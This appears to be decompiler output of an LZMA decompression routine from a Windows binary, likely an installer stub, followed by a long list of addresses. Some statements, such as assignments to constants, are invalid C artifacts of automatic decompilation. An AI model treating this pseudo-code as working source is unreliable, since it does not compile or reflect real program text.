												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406fbb
0x00406fbb
0x00406fbf
0x00406fcc
0x00406fd6
0x00000000
0x00406fc1
0x00406fc1
0x00406ffc
0x00406fff
0x00407002
0x00407005
0x00407005
0x00407008
0x0040700f
0x00407014
0x00406ef5
0x00406ef8
0x0040726a
0x0040726a
0x0040726a
0x0040726d
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x004072bb
0x004072bf
0x0040746e
0x00407484
0x0040748c
0x00407493
0x00407495
0x0040749c
0x004074a0
0x004074a0
0x004072cb
0x004072d2
0x004072da
0x004072dd
0x004072e0
0x004072e0
0x004072e6
0x004072e6
0x00406a82
0x00406a82
0x00406a82
0x00406a8b
0x00000000
0x00000000
0x00406a91
0x00000000
0x00406a9c
0x00000000
0x00000000
0x00406aa5
0x00406aa8
0x00406aab
0x00406aaf
0x00000000
0x00000000
0x00406ab5
0x00406ab8
0x00406aba
0x00406abb
0x00406abe
0x00406ac0
0x00406ac1
0x00406ac3
0x00406ac6
0x00406acb
0x00406ad0
0x00406ad9
0x00406aec
0x00406aef
0x00406afb
0x00406b23
0x00406b25
0x00406b33
0x00406b33
0x00406b37
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b27
0x00406b27
0x00406b2a
0x00406b2b
0x00406b2b
0x00000000
0x00406b27
0x00406b01
0x00406b06
0x00406b06
0x00406b0f
0x00406b17
0x00406b1a
0x00000000
0x00406b20
0x00406b20
0x00000000
0x00406b20
0x00000000
0x00406b3d
0x00406b3d
0x00406b41
0x004073ed
0x00000000
0x004073ed
0x00406b4a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b60
0x00406b63
0x00406b67
0x00000000
0x00000000
0x00406b69
0x00406b6f
0x00406b99
0x00406b9f
0x00406ba6
0x00000000
0x00406ba6
0x00406b75
0x00406b78
0x00406b7d
0x00406b7d
0x00406b88
0x00406b90
0x00406b93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd8
0x00406bde
0x00406be1
0x00406bee
0x00406bf6
0x0040726a
0x0040726a
0x00000000
0x00000000
0x00406bad
0x00406bad
0x00406bb1
0x004073fc
0x00000000
0x004073fc
0x00406bbd
0x00406bc8
0x00406bc8
0x00406bc8
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bfe
0x00406c00
0x00406c03
0x00406c74
0x00406c77
0x00406c7a
0x00406c81
0x00406c8b
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x00406c05
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c14
0x00406c16
0x00406c19
0x00406c1b
0x00406c20
0x00406c23
0x00406c26
0x00406c2a
0x00406c31
0x00406c34
0x00406c3b
0x00406c3f
0x00406c47
0x00406c47
0x00406c47
0x00406c41
0x00406c41
0x00406c41
0x00406c36
0x00406c36
0x00406c36
0x00406c4b
0x00406c4e
0x00406c6c
0x00406c6e
